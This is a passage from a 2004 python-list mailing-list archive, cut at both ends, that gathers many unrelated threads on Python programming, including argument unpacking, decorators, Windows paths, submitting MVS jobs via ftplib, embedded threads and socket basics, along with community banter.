first choice. ODBC is Microsoft's spec, they generally support it pretty thoroughly. You could check out the Win32 stuff and use COM to talk to an ADO server, if you felt really ambitious. From dropthis_fanmail at micah-wedemeyer.net Mon Sep 20 18:39:10 2004 From: dropthis_fanmail at micah-wedemeyer.net (Micah) Date: Mon, 20 Sep 2004 18:39:10 -0400 Subject: parameter passing question (you were right) References: <mailman.3610.1095718970.5135.python-list@python.org> Message-ID: <cinm6e$hv3$1@news-int2.gatech.edu> Ignore my previous post. I tried your idea and it worked fine. Thanks again, Micah "Robert Brewer" <fumanchu at amor.org> wrote in message news:mailman.3610.1095718970.5135.python-list at python.org... Micah wrote: > Basically, I want to be able to call a function on a list of arguments > without knowing the syntax of the function. I guess a code > example would be > best: > > ------- > def foo(arg1, arg2): > # Do something with arg1 and arg2 > > def main(): > f = foo > args = ["hello", "world"] > # Want to call foo("hello", "world") using variable f and > list args > -------- > > So, what I'm trying to do is call f(args[0], args[1]). > However, I want to > be able to do it with any length argument list. Given any > function f and a > list of arguments args, I want to be able to call f(args[0], > args[1], ..., > args[n]) Use the variable-arg techniques described in: http://docs.python.org/ref/function.html def foo(*args): # Do something with arg[0], arg[1], ... def main(): f = foo args = ["hello", "world"] f(*args) HTH, Robert Brewer MIS Amor Ministries fumanchu at amor.org From adalke at mindspring.com Sat Sep 11 05:18:12 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 11 Sep 2004 09:18:12 GMT Subject: string formatting with mapping & '*'... is this a bug? In-Reply-To: <1gjxvym.103ml938difr2N%aleaxit@yahoo.com> References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <Xns955F779C04101OKB@130.133.1.4> <20040909152328.2233c917@gypsy.pfortin.com> <chqjc3$n2o$00$1@news.t-online.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <PTr0d.3105$xA1.2293@newsread3.news.pas.earthlink.net> <1gjxvym.103ml938difr2N%aleaxit@yahoo.com> Message-ID: <opz0d.162$_G4.57@newsread3.news.pas.earthlink.net> Me: >>It's hard to make the call signature correct though. Alex: > Maybe module inspect could help -- it's generally the best way to > introspect function signatures in Python. But, perhaps accepting some > sloppiness at the margins, we might code something like (untested!!!): I had considered that approach. My concern is that with @decorators current introspection techniques, like help(), pydoc, and tooltips will become less useful. For example, here's what help() does on your 'foo' class. class foo | Methods defined here: | | __init__(self, *as, **kw) | | __str__(self) The inability to propogate the call signature seems to be an ugly limitation to decorators, and I don't see an elegant solution to it. I've thought of some hacks, like calling a function with the original function (f) and the wrapped function (g), to have it return a new function (h) with the right signature so that calling h() pivots and passes things to g() so it can do it's work then call f(). Matters gets even more complicated with @decorator chains. BTW, I thought there might be a problem already with classmethod and staticmethod but it looks like the inspect module knows how to peer inside to get what it needs. The same trick won't work for user-defined @decorator wrappers. Andrew dalke at dalkescientific.com From mwh at python.net Tue Sep 14 07:39:28 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 14 Sep 2004 11:39:28 GMT Subject: Greenlets: where are they now??? References: <foadnUs_VtNpFdncRVn-jQ@lmi.net> <m37jqybc1m.fsf@pc150.maths.bris.ac.uk> <4edc17eb.0409132016.78efa46d@posting.google.com> Message-ID: <m3acvt9j0v.fsf@pc150.maths.bris.ac.uk> michele.simionato at gmail.com (Michele Simionato) writes: > Michael Hudson <mwh at python.net> wrote in message news:<m37jqybc1m.fsf at pc150.maths.bris.ac.uk>... > > "It is tough to make predictions, especially about the future." > > -- Yogi Berra > > I think I saw this attributed to Nils Bohr. Can somebody check? Hmm. I already had :) but googling just now found this page: http://www.larry.denenberg.com/predictions.html which attributes variations on the above sentiment to just about everyone you've ever heard of. The phrasing above is certainly attributed to Yogi Berra pretty often. Bohr is more likely to have the wildly different phrase: "Prediction is very difficult, especially about the future." attributed to him :) It's a fairly obvious thought, after all. Cheers, mwh -- "Sturgeon's Law (90% of everything is crap) applies to Usenet." "Nothing guarantees that the 10% isn't crap, too." -- Gene Spafford's Axiom #2 of Usenet, and a corollary From peter at engcorp.com Tue Sep 14 21:03:44 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 21:03:44 -0400 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: <mailman.3334.1095201604.5135.python-list@python.org> References: <mailman.3327.1095192228.5135.python-list@python.org> <ci7kou$eqj$00$1@news.t-online.com> <qOGdnf9RP5WexdrcRVn-oA@powergate.ca> <mailman.3331.1095196635.5135.python-list@python.org> <q-KdnbQfKohB8NrcRVn-ug@powergate.ca> <mailman.3334.1095201604.5135.python-list@python.org> Message-ID: <huCdnXtcC8xsCdrcRVn-sg@powergate.ca> Carlos Ribeiro wrote: > On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen <peter at engcorp.com> wrote: > >>Do you have pywin32 (win32all) installed? Try this one instead: >> win32api.GetFullPathName('c://work') >> >>This does the same as abspath does above, on mine. > > You're right. That's what I got now: > > PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit > (Intel)] on win32. >>>>import win32api >>>>win32api.GetFullPathName('c://work') > > 'c:\\\\work' > > It seems that either ActivePython uses a different implementation for > os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last > time I checked ActivePython was still using 2.3.2 -- I'll check it out > again, and upgrade if a newer version is available. I reach a different conclusion. Note that when I said "this does the same as abspath does above", I meant that *my* output for the GetFullPathName() call is actually this: 'c:\\work' In other words, it appears to be an OS difference. What flavour and version of Windows are you running? I'm using XP Pro SP2. -Peter From erik at heneryd.com Mon Sep 27 10:14:55 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 27 Sep 2004 16:14:55 +0200 Subject: New to Python In-Reply-To: <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> Message-ID: <4158205F.9000903@heneryd.com> Peter Hansen wrote: > Jeremy Bowers wrote: > >> On Wed, 22 Sep 2004 17:28:43 +0200, Erik Heneryd wrote: >> >>> I can't help to crack a smile every time I see that URL. I doubt it >>> ever helped anyone, >> >> >> I think you mis-understand who it is supposed to help. That link is not >> "Hey, this might help you, the poster.", it's "If you want any more help >> from us, the minimal standards of helping us help you is laid out in this >> document, as you've demonstrated you don't know. Further inquiries not >> meeting this standard will most likely be ignored." >> In other words, it is to help the helpers, by cleanly laying out the >> requirements, not really the asker. In that regard it works; since that >> link became popular I haven't seen a flamewar over the standards of >> asking >> for help. It has done exactly what it was supposed to do. > > > In addition, it's posted not only for the OP, who may well > ignore it as some do, but also for the benefit of others > who are lurking, possibly new but possibly not, and who > are about to post a question of their own. > > You might also say it's for the benefit of many of the old-timers > who are here, providing the answers. Any such who *haven't* > taken the time to read it, 10000 words or not, should do so > at the earliest opportunity. It isn't perfect, but it could > well save you some time, embarrassment, or a public whipping. > > -Peter Uhm... sure. The point is that it *is* intimidating and that you'll have to be pretty darn dedicated to asking/answering to consider it worth the time. Also, It's often used as an answer to dumb questions, without even a hint of what's stupid about it. That's simply counterproductive. Simply stating "That's a stupid questiong, think about it, use common sense" would be more helpful. And note that I wasn't talking about it's use in this thread or even c.l.p, but in general. Erik From gry at ll.mit.edu Tue Sep 7 13:54:31 2004 From: gry at ll.mit.edu (gry at ll.mit.edu) Date: 7 Sep 2004 10:54:31 -0700 Subject: lauch browser on remote windows mach from linux python? Message-ID: <chkskn$ug4@odbk17.prod.google.com> My users work at windows PC's. They run my app on my linux server, displaying the gtk/pytgk graphics via the hummingbird/exceed X server. When a user clicks on a URL in my app, I want to lauch mozilla, running on the PC, with the specified URL. Is there some way to do this? [sorry, I'm a unix/linux hacker -- no understanding of MS system stuff] I can imagine a tiny python daemon running on each PC, listening for a connection on a particular port, and reading a URL from it. Can it just call os.system('mozilla ...')? Or do I have to do some .com or .net thing? I know this sounds like opening a huge security hole in the PC, but it's MS -- isn't that where holes belong ;-). The daemon could reject all but appropriate local URL's. -- George Young From erik at heneryd.com Mon Sep 13 15:08:51 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 21:08:51 +0200 Subject: Small inconsistency between string.split and "".split In-Reply-To: <A128D751272CD411BC9200508BC2194D053C7946@escpl.tcp.com.ar> References: <A128D751272CD411BC9200508BC2194D053C7946@escpl.tcp.com.ar> Message-ID: <4145F043.1070502@heneryd.com> Batista, Facundo wrote: > [Erik Heneryd] > > #- 2) You can get the same behavior from str.split() by using > #- None as the > #- separator (undocumented, I guess). > > Worst: it's explicitly in other way: > > split([sep [,maxsplit]]) > > There, taken from the docs, say that "It's optional to include sep, and if > you include sep, you could also (optionally) include maxsplit". How is that different from what I said? ("If you look at the string lib docs, the parameters are meant to be positional, not keywords") Erik ps. ...and yeah, if I really had looked (more closely), I would've seen that None as separator is documented after all... :) ds. From richie at entrian.com Fri Sep 3 06:47:39 2004 From: richie at entrian.com (Richie Hindle) Date: Fri, 03 Sep 2004 11:47:39 +0100 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <1f7befae04090220356ce53a07@mail.gmail.com> References: <mailman.2572.1093751093.5135.python-list@python.org> <99dce321.0408292132.36ef381e@posting.google.com> <tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net> <1f7befae04090220356ce53a07@mail.gmail.com> Message-ID: <dnigj0hamrbvtpmv7ts5mdhi0csr6srqlg@4ax.com> [Tim] > If the general Python > community can't see value in fresh approaches (which is likely true of > all, um, "mature" language communities in-the-large), maybe sticking > to python-dev would cut some needless grief from your life. As a very small part of "the general Python community", I'd like to encourage Mark to continue his occasional posts to comp.lang.python. One the good things about this newsgroup is that it sometimes wanders slightly (!) off-topic, but those wanderings are usually illuminating. Mark's projects are more on-topic than many other threads. -- Richie Hindle richie at entrian.com From alexander.hoffmann at netgenius.de Mon Sep 6 19:39:17 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Tue, 7 Sep 2004 01:39:17 +0200 Subject: How to actually write a program? In-Reply-To: <O9GdnTcSZLeCcaHcRVn-oA@powergate.ca> References: <chano0$1gv$1@sparta.btinternet.com> <mailman.2916.1094457850.5135.python-list@python.org> <O9GdnTcSZLeCcaHcRVn-oA@powergate.ca> Message-ID: <200409070139.17788.alexander.hoffmann@netgenius.de> Hello, On Tuesday 07 September 2004 01:02, Peter Hansen wrote: > Neil Benn wrote: > > Nick Evans wrote: > >> I have been on and off learning to code ... > > > > It's good that you are thinking of this rather than just trying > > to manically write some code to see what happens. As a general point, > > there is a system that you can use to help you model out your program > > (taught to most computer science students). This system is called UML yes, I know ;-) > > (Unified Modeling Language) - I would advise getting a good book about > > UML and reading through that. > > Ahhh!! Run! Run, Neil, run! UML! Please, stay calm ! I recommend you not to run because because UML is nothing you should fear, but also forget about the UML book FOR THE MOMENT ! Please reflect on your goals. Why do you want to write programs, what are they meant to be used for in the end ? If you want to write very small programs to be used like shell scripts on your private Linux box, then never spend your time with UML, extreme programming, unit tests and all that stuff. If you plan to write rich featured applications or even deamon processes then first lean the basic ideas of how to write code. There are lots of tutorials and books around that help you gain success very quickly. Write some little apps and watch them doing their job. When you're done, then take care of how to write bigger programs. Now you should learn how to design an application, in what parts or modules it should be implemented and how these modules shall communicate / work together. This is what you should utilize PARTS of UML for. I strongly recommend you to look at static structure diagrams, use cases and time line diagrams. The other parts of UML are only useful in theory, they take much more time to be created than they will ever save. Once you are familiar with basic Python programming and with application design (e.g. UML), then the last step I recommend to become a *nearly* (who really claims to be completely) perfect developer is to understand the importance of testing. When you are implementing a real big application you are lost without it. I am using unit tests and they help me very much. With these you can test first very small parts of your application and then later combine the test to cover more and more of the whole program. Indeed there is no need to argue for unit testing (when writing really big applications): try it and you will appreciate it ! Regards, Alex > > It's is complementary to the XP (Extreme > > Programming) stuff that people are talking about. > > Ahhh!!! Run away some more! UML and XP are nearly anti-thetical. > Don't even consider going there. (Well, consider it, but please > don't waste any money buying a UML book as you do. Find a few > web sites, then ... run away! It's cheaper that way.) > > In my opinion, if you try to get a beginning programmer to work using > UML when he isn't even sure how to start writing code in an empty > file, you will not have a beginning programmer for long. And I > don't mean because you've just got him over that initial hump... > > In another opinion of mine, if you try to get a more advanced > programmer to work using UML, you also deserve whatever you get... > > -rabidly-anti-UML-ically y'rs, > Peter From chrisNOSPAM at spam.com Mon Sep 27 04:06:16 2004 From: chrisNOSPAM at spam.com (Chris) Date: Mon, 27 Sep 2004 10:06:16 +0200 Subject: launching JCL on MVS References: <1095065818.428799@ftpgate><mailman.3230.1095079924.5135.python-list@python.org><1095082883.249188@ftpgate> <mailman.3236.1095084343.5135.python-list@python.org> Message-ID: <1096272376.394337@ftpgate> Thanks for the help! Here is what worked: ftp.voidcmd( "site file=JES" ) "quote" is already done by ftplib ftp.retrlines( "RETR 'PATH.ON.HOST(JCLNAME)'") GET is an unknown command, althought it's what works in FTP command line... Chris "Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news: mailman.3236.1095084343.5135.python-list at python.org... The code i showed you submitted a job to the mainframe via ftp. The catch was the JCL had to be in the CWD. I'm not sure how to submit a job that is *already* on the mainframe... A google pointed me here: http://www.wright.edu/cats/docs/docroom/mainframe/mvsftp.htm According to this document you: 1) create the JCL on the mainframe 2) issue this site command -> "SITE FILETYPE=JES" Using ftplib's FTP object, that would be: ftp.voidcmd( "quote site file=JES" ) 3) issue a GET command -> GET jclfilename outputfilename jclfilename is the job to submit. outputfilename holds the output of the job. I *think* you would use ftplib's retrlines function like so: ftp.retrlines( "GET jclfilename", cbfun ) Where cbfun is a callback function that will receive the output of the job one line at a time, sans the CR/LF. hth, jw On Mon, 13 Sep 2004 15:41:22 +0200, Chris <chrisnospam at spam.com> wrote: > Thanks, but what does it do? Upload test.jcl and execute it? > Let's say that I already have a "TEST" JCL on the HOST, how can I execute it > via an FTP command? > > Chris > > "Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news: > mailman.3230.1095079924.5135.python-list at python.org... > > > > Disclaimer - I've never used ftplib, so the code below hasn't actually > > been tested.. > > > > First, create some JCL. For this example assume it is test.jcl and it > > is in the CWD. > > > > # Connect to the server > > >>> from ftplib import FTP > > >>> ftp = FTP("hostname") # connect to host, default port > > >>> ftp.login("username", "password") > > > > # Tell the server you're about to send it some JCL to execute > > >>> ftp.voidcmd( "quote site file=JES" ) > > > > # Upload the JCL > > >>> print ftp.storlines( "STOR", file("test.jcl") ) > > > > The last command ought to print ought the Job ID (and a few other things). > > > > Good luck and let me know if that works for you. Also, some of those > > methods will raise exceptions if something goes wrong. Check out > > ftplib.py for good documentation. > > > > jw > > > > On Mon, 13 Sep 2004 10:56:57 +0200, Chris <chrisnospam at spam.com> wrote: > > > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST > (OS390) ? > > > > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From pfortin at pfortin.com Thu Sep 16 21:26:32 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 16 Sep 2004 21:26:32 -0400 Subject: Incrementing a string -- puzzing "solution"... References: <pan.2004.09.15.22.08.19.894702@cox.net> <20040916004438.657b50a4@gypsy.pfortin.com> <mailman.3426.1095383641.5135.python-list@python.org> Message-ID: <20040916212632.05d9b15b@gypsy.pfortin.com> On Thu, 16 Sep 2004 21:13:50 -0400 Terry wrote: > I hope the mechanism is now clearer for you. Yes, thank you... I was getting pretty sleepy at the time and I thought this was likely -- obviously since I coded it... :^) I was wanting the effect I finally got, just was unclear how it was actually occurring.... One more notch on the road to expert level... :> -30- BTW, someone wondered about "-30-"... >From journalism handbooks: At the end of a story, write "End" or "30" -- a journalism symbol for "finish". I use it when I'm pretty sure I'm done with a thread... Regards, Pierre From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Wed Sep 1 05:13:57 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Wed, 1 Sep 2004 11:13:57 +0200 Subject: Script executes script? References: <c869ac1b.0409010014.4c581fc@posting.google.com> Message-ID: <ch43t4$r5q$1@news-reader4.wanadoo.fr> Hi ! Try execfile( From peacock at simconv.com Fri Sep 10 15:38:16 2004 From: peacock at simconv.com (Jack Peacock) Date: Fri, 10 Sep 2004 12:38:16 -0700 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <chsu8b$ujb$1@grandcanyon.binc.net> Message-ID: <e4adnfxyXrI0n9_cRVn-sQ@mpowercom.net> "Chuck Dillon" <spam at nimblegen.com> wrote in message news:chsu8b$ujb$1 at grandcanyon.binc.net... > The U.S. President is limited to two four year terms so if someone is > locked up "forever" the power to do so must extend far beyond any > President. That's why we have 4+ term incumbents in Congress. Though I believe they are encouraged to accept retirement when they reach the age of 100. Jack Peacock From my.news.groups at noos.fr Wed Sep 15 12:05:54 2004 From: my.news.groups at noos.fr (nik) Date: Wed, 15 Sep 2004 18:05:54 +0200 Subject: Embedded python with threads Message-ID: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> hi, I have a C++ app that loads a python module and calls a function from it. The call is getting the contents of a list that's global in that module. However, I'd like the python script to be also running a thread that fills that global list, but can't figure out how to do it. Essentially the code looks like; in the C++ app; //// Py_Initialize(); // PyImport_ImportModule blocks until the myModule script has run // through... PyObject* module = PyImport_ImportModule("myModule"); PyObject* function = PyObject_GetAttrString(module, "GetList"); while(1) { PyObject* pyList = PyObject_CallFunction(function, ""); // use the stuff in pyList sleep(15); } //// and in the myModule.py; #### import thread import time orderListLock = thread.allocate_lock() pyList = [] def GetList(): global pyList tmpList = [] orderListLock.acquire() tmpList = pyList orderListLock.release() return tmpList def keepFillingListThread(): global pyList while 1: orderListLock.acquire() pyList.append(somestuff) orderListLock.release() time.sleep(5) # the following statement happens when the C++ app imports the module, # but the thread only lives as long the main python thread (which is # over straight away on my linux PC) thread.start_new_thread(keepFillingListThread, ()) #### Has anyone any ideas? thanks, nik From peterj at mail.com Mon Sep 20 20:22:44 2004 From: peterj at mail.com (Peter Jensen) Date: Tue, 21 Sep 2004 02:22:44 +0200 Subject: Error with output from a variable.... Message-ID: <414f740c$0$13806$ba624c82@nntp05.dk.telia.net> Hi all. I been playing around with this program, that lets you enter a student name, his studentcard numner and his address. You can then change the data, save it as a file, and load it again. All works except one tiny thing. The error is in the: def udskriv_stud(studs): def udskriv_stud(studs): print "De studerende i gruppen er:" for x in studs.keys(): print "Navn: ",x," \tAarskortnummer: ", studs[x], "\tAdresse:" ,adresse, #<--- Here is the error print "" print When I enter more than one student the new address will overwrite the old one. So that when I print all the students in the file out, they will all have the address that I entered for the last student. The code where I use the def udskriv_stud(studs): is elif menu_choice == 2: print "Indtast navn og aarskortnummer:" navn = raw_input("Navn:") aarskortnummer = raw_input("Aarskortnummer:") adresse = raw_input("Adresse:") tilfoej_stud(phone_list,navn,aarskortnummer,adresse) I can see that the it just replaces the raw_input value from adresse over and over again. Do any of you have some good suggestions. Thanks From eviltofu at rocketmail.com Mon Sep 20 03:24:53 2004 From: eviltofu at rocketmail.com (Jerome Chan) Date: Mon, 20 Sep 2004 07:24:53 GMT Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com> <1095635849.649169.161680@k26g2000oda.googlegroups.com> Message-ID: <eviltofu-30B89F.00245220092004@news.telus.net> In article <1095635849.649169.161680 at k26g2000oda.googlegroups.com>, "Simon John" <simoninusa2001 at yahoo.co.uk> wrote: > Don't feed the troll. > > If he needs an IDE, then he is not a programmer, he's a code monkey, > just like Java guys - they're a dime a dozen as they can't code, they > rely on the auto-completion and drag'n'drop of visual IDEs. Just my 2 cents. I would love it if Python had an ide like Smalltalk's. From steven.bethard at gmail.com Wed Sep 29 12:15:17 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 29 Sep 2004 16:15:17 +0000 (UTC) Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> <UZk6d.170834$3l3.71882@attbi_s03> <20040928220043.GB11275@unpythonic.net> <mailman.4039.1096409369.5135.python-list@python.org> <1gkvoks.1r0h9pxvanm4vN%aleaxit@yahoo.com> Message-ID: <loom.20040929T181350-971@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > If you start with an L=list(L), you can also optionally L.reverse() to > play with the ordering (if significant, issue still not clarified). The order of the elements isn't crucial, but for debugging purposes it would be slightly better if they maintained order. Steve From max at alcyone.com Wed Sep 8 19:42:43 2004 From: max at alcyone.com (Erik Max Francis) Date: Wed, 08 Sep 2004 16:42:43 -0700 Subject: Machine identification References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> <mailman.3050.1094666837.5135.python-list@python.org> <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com> Message-ID: <413F98F3.1C52E635@alcyone.com> John Fabiani wrote: > The above does not work for me. > > socket.gethostbyname(socket.gethostname()) > > '127.0.0.2' > > the ip address is 192.168.1.211 for the computer. And 127.0.0.2 is not > localhost. It is likely your machine is misconfigured. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ My life was better before I knew you. -- Edith Wharton (to Morton Fullerton) From bvande at po-box.mcgill.ca Thu Sep 16 13:36:30 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Thu, 16 Sep 2004 13:36:30 -0400 Subject: python: ascii read In-Reply-To: <200409161856.23738.heikowu@ceosg.de> References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> <4149B7B3.4000607@po-box.mcgill.ca> <200409161856.23738.heikowu@ceosg.de> Message-ID: <4149CF1E.1090109@po-box.mcgill.ca> Heiko Wundram said unto the world upon 2004-09-16 12:56: > Am Donnerstag, 16. September 2004 17:56 schrieb Brian van den Broek: > >>But I don't really feel I've a handle on the significance of saying it >>maps the file into memory versus reading the file. The naive thought is >>that since the data gets into memory, the file must be read. But this >>makes me sure I'm missing a distinction in the terminology. Explanations >>and pointers for what to read gratefully received. > > > read()ing a file into memory does what it says; it reads the binary data from > the disk all at once, and allocates main memory (as needed) to fit all the > data there. Memory mapping a file (or device or whatever) means that the > virtual memory architecture is involved. What happens here: > <Much helpful detail SNIPed> > > HTH! > > Heiko. Thanks a lot for the detailed account, Heiko. Best, Brian vdB From bradtilley at usa.net Wed Sep 15 13:21:45 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 13:21:45 -0400 Subject: socket programming In-Reply-To: <tusgk051t94u4uqeamqm8eiqancch0o93n@4ax.com> References: <mailman.3372.1095266959.5135.python-list@python.org> <tusgk051t94u4uqeamqm8eiqancch0o93n@4ax.com> Message-ID: <ci9tn9$71t$2@solaris.cc.vt.edu> Rene Pijlman wrote: > You need to define a protocol for the communication between client and > server, and implement the server in such a way that it sends what it's > expected to send, when it has received what it expected to receive. In > your current code, the server is expecting an infinite amount of data, > while the client is sending only a few bytes. You could define a special char that indicated the end of the transmission. From carribeiro at gmail.com Fri Sep 3 08:57:09 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 09:57:09 -0300 Subject: age of Python programmers In-Reply-To: <4edc17eb.0409022018.27a96821@posting.google.com> References: <mailman.1859.1092833285.5135.python-list@python.org> <889cbba0.0408181206.1812881c@posting.google.com> <mailman.1900.1092860258.5135.python-list@python.org> <Xns954A5141FF84JanC@213.118.38.197> <d8778a53.0408311322.9ad0233@posting.google.com> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> <mailman.2753.1094102613.5135.python-list@python.org> <4edc17eb.0409022018.27a96821@posting.google.com> Message-ID: <864d3709040903055719060a0b@mail.gmail.com> Are we in "good old days" mood? :-) I'm about to turn 38, and also started programming in Basic using a Sinclair-compatible computer. Pressure-sensitive keyboard (not real keys), a b&w tv set as a monitor, and a 40x24 screen with block graphics for the overwhelming resolution of 80x48. Everything powered by a blazingly fast Z80 8-bit CPU, I can't even remember how fast it is, and 4 kbytes of RAM. And of course, the CPU had to do everything, including generating the video signal. BASIC programs could run in fast or slow mode. Slow meant that the code only ran during the retrace intervals, and fast meant that the video would be unavailable during program execution (I'm serious). Permanent storage? Have your heard of personal cassete tape recorders? They would more than ever not be able to restore what you just had saved. I also had a HP41-CV pocket calculator -- similar to the one used in the first Columbia shuttle flights as a type of handheld assistant for some of the calculations for orbit reentry procedures and stuff like that. And I shunned serious programmers using mainframes and CP/M minis -- we could not play like we were used to, after all. It was only after putting my hands on an Apple II that I started to realize that I could do something serious. I miss some of the excitement of doing then-incredible things. But no, thanks, I don't want to go back in time :-) On 2 Sep 2004 21:18:05 -0700, Michele Simionato <michele.simionato at gmail.com> wrote: > Andrew Durdin <adurdin at gmail.com> wrote in message news:<mailman.2753.1094102613.5135.python-list at python.org>... > > There seem to be a lot of Pythoneers who started with BASIC -- I guess > > that's what came with most "home computers" in those days. I started > > at 8 with BASIC on an Amstrad CPC6128 (though I played games more than > > I wrote programs :). > > I started in the '85 programming Basic on a Casio pocket calculator; > it had 1k of RAM, I had to erase old programs each time to make room > to new ones. Somebody can recognize the model? I forgot, it was > someting like Casio PC ## ... > > > Michele Simionato > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From lynn at garlic.com Thu Sep 2 17:57:38 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 15:57:38 -0600 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> Message-ID: <ur7pks59p.fsf@mail.comcast.net> Alan Balmer <albalmer at att.net> writes: > The shuttle boosters are 3.7m diameter. Quite a bit larger than the > gage of any railroad I've ever seen. but they did have to be transported from utah to florida ... so while the gauge may not have been issue ... there were things like bridges, tunnels, etc. My understanding was the sectioning was specifically because of length transportion issues. i have some recollection of competing bids building single unit assemblies at sea coast sites allowing them to be barged to florida. supposedly the shuttle boosters were sectioned specifically because they were being fabricated in utah and there were transportation constraints. shortly have the disaster ... some magazine carried a story spoof about columbus being told that his ships had to be built in the mountains where the trees grew ... and because of the difficulty of dragging them down to the sea ... they were to be built in sections ... and then tar would be used to hold them together when they were put to sea. earlier thread on this subject http://www.garlic.com/~lynn/2001c.html#83 CNN reports... this has 149 feet long as 12 feet diameterin four sections from utah http://www.analytictech.com/mb021/shuttle1.htm ... making each section about 40 foot long. 12 foot high and wide on flatbed .... 15-16 high (on flatbed) clears bridges and overpasses and 12 foot wide should hopefully be within bridge width restrictions. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From bretth at aiinet.com Fri Sep 24 14:22:16 2004 From: bretth at aiinet.com (Humphreys, Brett) Date: Fri, 24 Sep 2004 14:22:16 -0400 Subject: Asyncore Statemachine Message-ID: <C0170D0AF1277849A4B4518034F855DD40B68F@aiexchange.ai.aiinet.com> Hello all, I'm using a mutex in the midst of a asyncore dispatcher. I want to make sure that all the exit states from this statemachine are being properly covered so that I release my mutex. Does anyone know of a description of the finite statemachine used in asyncore? Thanks. -Brett -- Brett Humphreys Software Engineer Applied Innovation Office: 614-923-1340 Fax: 614-798-1770 -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/343bb07a/attachment.html> From peter at somewhere.com Tue Sep 21 04:51:14 2004 From: peter at somewhere.com (Peter Maas) Date: Tue, 21 Sep 2004 10:51:14 +0200 Subject: python is going to die! =( In-Reply-To: <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> Message-ID: <cioq1t$br9$1@swifty.westend.com> Istvan Albert schrieb: > go away, troll The best way of making a troll go away is to completely ignore him. Trolls are begging for attention and giving them attention means stimulating them. But obviously many c.l.py posters find part of the troll message worth to be discussed. This is OK, if the discussion isn't confined to silly theses like 'everybody who wants an IDE is an idiot' but is open for analyzing Python's strong and weak points. A living programming language needs a strong community and therefore Python has to attract new programmers. This way Python competes with languages like C#. Posters who tell us that Python is so fantastic that it doesn't need anything else but vi and emacs don't understand that there are are different programmer personalities with different needs (No, I'm not hostile to emacs and vi. I use 